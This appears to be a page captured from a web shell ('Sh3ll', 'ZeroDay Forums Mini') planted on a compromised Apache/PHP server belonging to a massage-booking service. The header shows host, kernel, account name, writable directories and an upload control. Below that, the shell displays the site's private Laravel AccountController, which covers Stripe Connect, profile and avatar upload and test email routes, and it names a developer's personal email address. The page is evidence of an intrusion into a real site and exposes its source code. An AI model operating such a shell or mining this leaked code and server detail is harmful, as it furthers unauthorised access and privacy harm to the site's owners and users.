Sh3ll
OdayForums


Server : Apache
System : Linux 145.162.205.92.host.secureserver.net 5.14.0-611.45.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Apr 1 05:56:53 EDT 2026 x86_64
User : tradze ( 1001)
PHP Version : 8.1.34
Disable Function : NONE
Directory :  /home/tradze/www/app/Modules/Users/Http/Controllers/Frontend/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/tradze/www/app/Modules/Users/Http/Controllers/Frontend/AccountController.php
<?php

namespace App\Modules\Users\Http\Controllers\Frontend;

use App\Http\Controllers\SiteController;
use App\Modules\Users\Http\Requests\AccountProfileRequest;
use App\User;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\Storage;
use Intervention\Image\Facades\Image;
use Symfony\Component\CssSelector\Parser\Reader;
use Illuminate\Support\Facades\Mail;

class AccountController extends SiteController
{
    private $stripeSecret;

    public function __construct()
    {
        $this->stripeSecret = env('stripe_secret_key');
    }

    /**
    * SUCCESS HANDLER
    */
    public function stripeConnectSuccess(Request $request)
    {
        // Validate token
        try {
            $userId = decrypt($request->token);
            $user = User::findOrFail($userId);
        } catch (\Exception $e) {
            dd($e);
            abort(403, 'Invalid token');
        }

        // Call Stripe API via cURL
        $account = $this->getStripeAccount($user->stripe_account_id);

        if (!$account) {
            return view('stripe.error', ['message' => 'Unable to fetch Stripe account']);
        }

        // Save status in DB
        $user->update([
            'stripe_details_submitted' => $account['details_submitted'],
            'stripe_charges_enabled'   => $account['charges_enabled'],
        ]);

        //Decide UI state
        if ($account['charges_enabled']) {
            $status = 'completed';
        } elseif ($account['details_submitted']) {
            $status = 'pending';
        } else {
            $status = 'incomplete';
        }

        return view('stripe.success', compact('status', 'user'));
    }

    /**
    * REFRESH HANDLER
    */
    public function stripeConnectRefresh(Request $request)
    {
        // Validate token
        try {
            $userId = decrypt($request->token);
            $user = User::findOrFail($userId);
        } catch (\Exception $e) {
            abort(403, 'Invalid token');
        }

        // Create new onboarding link via cURL
        $accountLink = $this->createAccountLink($user);

        if (!$accountLink || empty($accountLink['url'])) {
            return view('stripe.error', ['message' => 'Unable to regenerate onboarding link']);
        }

        //auto redirect again
        return redirect($accountLink['url']);
    }

    /**
     * Get Stripe Account
     */
    private function getStripeAccount($accountId)
    {
        $ch = curl_init();

        curl_setopt_array($ch, [
            CURLOPT_URL => "https://api.stripe.com/v1/accounts/{$accountId}",
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_HTTPHEADER => [
                "Authorization: Bearer {$this->stripeSecret}"
            ],
        ]);

        $response = curl_exec($ch);
        curl_close($ch);

        return json_decode($response, true);
    }

    /**
     * Create Account Link
     */
    private function createAccountLink($user)
    {
        $token = encrypt($user->id);

        $postFields = http_build_query([
            'account' => $user->stripe_account_id,
            'refresh_url' => url('/stripe/connect/refresh?token=' . $token),
            'return_url'  => url('/stripe/connect/success?token=' . $token),
            'type' => 'account_onboarding',
        ]);

        $ch = curl_init();

        curl_setopt_array($ch, [
            CURLOPT_URL => "https://api.stripe.com/v1/account_links",
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_POST => true,
            CURLOPT_POSTFIELDS => $postFields,
            CURLOPT_HTTPHEADER => [
                "Authorization: Bearer {$this->stripeSecret}",
                "Content-Type: application/x-www-form-urlencoded"
            ],
        ]);

        $response = curl_exec($ch);
        curl_close($ch);

        return json_decode($response, true);
    }


    /**
     * User Profile Details
     *
     * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View
     */
    public function edit()
    {

        $user = Auth::user();
        $user->phone = $user->profile->mobile_number;

        //create data array
        $data = [
            'obj' => $user,
        ];

        //render page
        return view('users::frontend_new.profile', $data);
    }

    /**
     * Update user profile data
     *
     * @return \Illuminate\Http\RedirectResponse|\Illuminate\Routing\Redirector
     */
    public function update(AccountProfileRequest $request)
    {
        //get current loggedin user
        $user = Auth::user();

        //get user profile
        $profile = $user->profile;

        //update user fields
        $user_fields = [
            'name' => $request->name,
            'email' => $request->email,
            'newsletter' => $request->newsletter,
        ];
        $user->update($user_fields);

        //update user profile fields
        $name = explode(' ', $request->name);
        $profile_fields = [
            'first_name' => $name[0],
            'last_name' => (isset($name[1])) ? $name[1] : '',
            'mobile_number' => $request->phone,
        ];
        $profile->update($profile_fields);

        //update profile avatar
        if ($request->hasFile('avatar')) {
            $file = $request->file('avatar');
            $filename = str_slug(str_replace($file->getClientOriginalExtension(), '', str_random(30)));
            $extension = $file->getClientOriginalExtension();
            $path_file = 'avatar/' . $filename . "." . $extension;

            //upload file
            $upload = Storage::disk('public_images')->put(
                $path_file,
                file_get_contents($file->getRealPath())
            );
            //attach file path to user profile
            $profile->avatar = $path_file;
            $profile->save();

            $img = Image::make(public_path('images/' . $profile->avatar))->fit(400, 400, null, 'top')->save(public_path('images/' . $profile->avatar), 100);
        } //endif update profile avatar

        //redirect to profile page
        return redirect(route('account.profile.edit'));
    }

    public function deleteUserUsingEmail()
    {
        $data = [
            'obj' => [],
        ];

        //render page
        return view('users::frontend_new.deleteProfile', $data);
    }

    public function newOrderEmailTemplate(Request $request)
    {
        // Dummy user object
        $user = (object)[
            'profile' => (object)[
                'first_name' => 'John',
            ],
        ];

        // Dummy orders array
        $orders = [
            (object)[
                'id' => 101,
                'date_to_human' => '2025-12-10',
                'hour_to_human' => '14:00',
                'amount' => 120.00,
                'massage_type' => 'Pest Control',
                'duration' => '60 minutes',
                'address' => '123 Main Street',
                'location' => 'London',
                'therapists' => [
                    (object)['name' => 'Alice Smith'],
                    (object)['name' => 'Bob Johnson'],
                ],
                'orderInfo' => json_encode([
                    'has_voucher' => true,
                    'voucher' => [
                        'name' => 'Winter Special',
                        'code' => 'WINTER2025'
                    ],
                    'type' => 'Relaxation',
                    'has_table' => true,
                    'has_transport' => true,
                    'transport_cost' => 15.00,
                    'county' => 'Greater London'
                ]),
            ],
            (object)[
                'id' => 102,
                'date_to_human' => '2025-12-12',
                'hour_to_human' => '16:00',
                'amount' => 90.00,
                'massage_type' => 'Deep Tissue',
                'duration' => '45 minutes',
                'address' => '456 Elm Street',
                'location' => 'Manchester',
                'therapists' => [
                    (object)['name' => 'Charlie Brown'],
                ],
                'orderInfo' => json_encode([
                    'has_voucher' => false,
                    'type' => 'Therapy',
                    'has_table' => false,
                    'has_transport' => false,
                    'transport_cost' => 0,
                    'county' => 'Greater Manchester'
                ]),
            ],
        ];

        $data = [
            'user' => $user,
            'orders' => $orders,
        ];

        Mail::send('schedules::frontend.emails.neworder', ['user' => $user, 'orders' => $orders], function ($m) use ($data) {
            $m->from(env('MAIL_FROM'), env('APP_NAME'));
            $m->to('romesh.sde@gmail.com', 'Romesh');
            $m->bcc(explode(',', env('MAIL_NEWORDER_BCC')), env('MAIL_NEWORDER_BCC_NAME'));
            $m->subject('Tradze mobileapp – booking confirmation');
        });

        // Render the email template with dummy data
        return view('schedules::frontend.emails.neworder', $data);
    }

    public function delayBookingEmailTemplate(Request $request)
    {
        // Dummy user object
        $user = (object)[
            'profile' => (object)[
                'first_name' => 'John',
            ],
        ];

        // Dummy orderInfo JSON (used via json_decode in blade)
        $orderInfo = json_encode([
            'delayed_info' => 'slightly',
            'type' => 'Home Service',
            'county' => 'Greater London',

            'has_voucher' => true,
            'voucher' => [
                'name' => 'Summer Relax Offer',
                'code' => 'RELAX20',
            ],

            'has_table' => true,

            'has_transport' => true,
            'transport_cost' => 10,
        ]);

        // Dummy therapists collection
        $therapists = collect([
            (object)[
                'name' => 'Emma Watson',
            ],
            (object)[
                'name' => 'Sophia Brown',
            ],
        ]);

        // Dummy order object
        $order = (object)[
            'id' => 12345,
            'orderInfo' => $orderInfo,
            'date_to_human' => '05 January 2026',
            'hour_to_human' => '04:30 PM',
            'amount' => '85.00',
            'massage_type' => 'Swedish Massage',
            'duration' => '60 Minutes',
            'therapists' => $therapists,
            'address' => '221B Baker Street',
            'location' => 'London',
        ];

        $data = [
            'user' => $user,
            'order' => $order,
        ];

        // Send email (optional during testing)
        Mail::send('schedules::frontend.emails.delayorder', $data, function ($m) {
            $m->from(env('MAIL_FROM'), env('APP_NAME'));
            $m->to('romesh.sde@gmail.com', 'Romesh');
            $m->subject('Tradze – booking delay notification');
        });

        // Render template in browser with dummy data
        return view('schedules::frontend.emails.delayorder', $data);
    }

    public function cancelBookingEmailTemplate(Request $request)
    {
        // Dummy user
        $user = (object)[
            'profile' => (object)[
                'first_name' => 'John',
            ],
        ];

        // Dummy therapists collection
        $therapists = collect([
            (object)[
                'name' => 'Emma Watson',
            ],
            (object)[
                'name' => 'Sophia Brown',
            ],
        ]);

        // Dummy order
        $order = (object)[
            'id' => 98765,
            'date_to_human' => '05 January 2026',
            'hour_to_human' => '03:15 PM',
            'amount' => '75.00',
            'massage_type' => 'Deep Tissue Massage',
            'duration' => '90 Minutes',
            'therapists' => $therapists,
            'address' => '221B Baker Street',
            'location' => 'London',
            'orderInfo' => json_encode([]), // required because blade calls json_decode
        ];

        // Send email (optional during testing)
        Mail::send('schedules::frontend.emails.cancelorder', ['user' => $user, 'order' => $order], function ($m) {
            $m->from(env('MAIL_FROM'), env('APP_NAME'));
            $m->to('romesh.sde@gmail.com', 'Romesh');
            $m->subject('Tradze – booking delay notification');
        });


        return view('schedules::frontend.emails.cancelorder', [
            'user'  => $user,
            'order' => $order,
        ]);
    }
}

ZeroDay Forums Mini